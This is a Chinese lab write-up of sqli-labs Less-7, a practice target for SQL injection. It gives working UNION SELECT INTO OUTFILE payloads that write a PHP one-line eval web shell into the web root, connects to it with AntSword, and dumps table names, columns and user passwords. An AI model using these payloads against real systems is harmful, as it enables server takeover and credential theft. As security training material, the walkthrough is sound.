0%

sqlilabs第7关(上传木马)

配置关卡文件

首先,MySQL默认是不能通过sql上传文件的,具体请输入命令show variables like '%secure%' 查看

若图中划红线的框为

  • Null 不可上传

  • 某一路径 只能在该路径及其子路径中上传

  • 空 可以上传

image-20220124202815420

具体修改方法如下

打开my.ini文件,并在[mysqld]栏中添加如下内容

secure_file_priv="路径"

image-20220124203529805

然后重启MySQL即可生效。

以上步骤实际上是完善题目,因为此题本来就是用上传文件做,没法上传文件就是没法做。

判断闭合方式

首先输入id=1',报错;然后输入id=1'--+,还是报错;接着输入id=1')--+,还是报错;最后尝试输入id=1'))--+,这次终于对了,所以闭合方式就是单引号加双括号。

image-20220124204428285

判断字段数

这个没啥好说的,直接order by即可最后得出是3

image-20220124204525136

上传木马并连接

?id=1'))union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php"--+注意这里是双反斜杠

image-20220124204810866

然后查看靶机中相应的文件即可知道已经成功上传

image-20220124204957483

然后用中国蚁剑进行连接

image-20220124205105057

注意,这里要定位到a.php,而不是仅仅到Less-7文件夹,连接成功后如下图

image-20220124205159761

爆库

?id=1'))union select 1,2,database() into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.txt"--+ 这里换成b.txt

image-20220124205333775

用蚁剑查看

image-20220124205413565

可知当前数据库是security

爆表

?id=1'))union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\c.txt"--+这里改成c.txt了,若仍是b.txt,则原先的b.txt不会改变,也不会新增内容。

image-20220124205728524

爆字段

?id=1'))union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\d.txt"--+

image-20220124205953312

查数据

?id=1'))union select 1,2,group_concat(username,1,password) from security.users into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\e.txt"--+

image-20220124210110521

总结

其实就是上传了一个一句话木马,然后用蚁剑进行查看相应数据,指令大多和第一关相似。

特别之处就是用了into outfile"路径"这个语句。

最后想说的是,蚁剑真的可怕!!!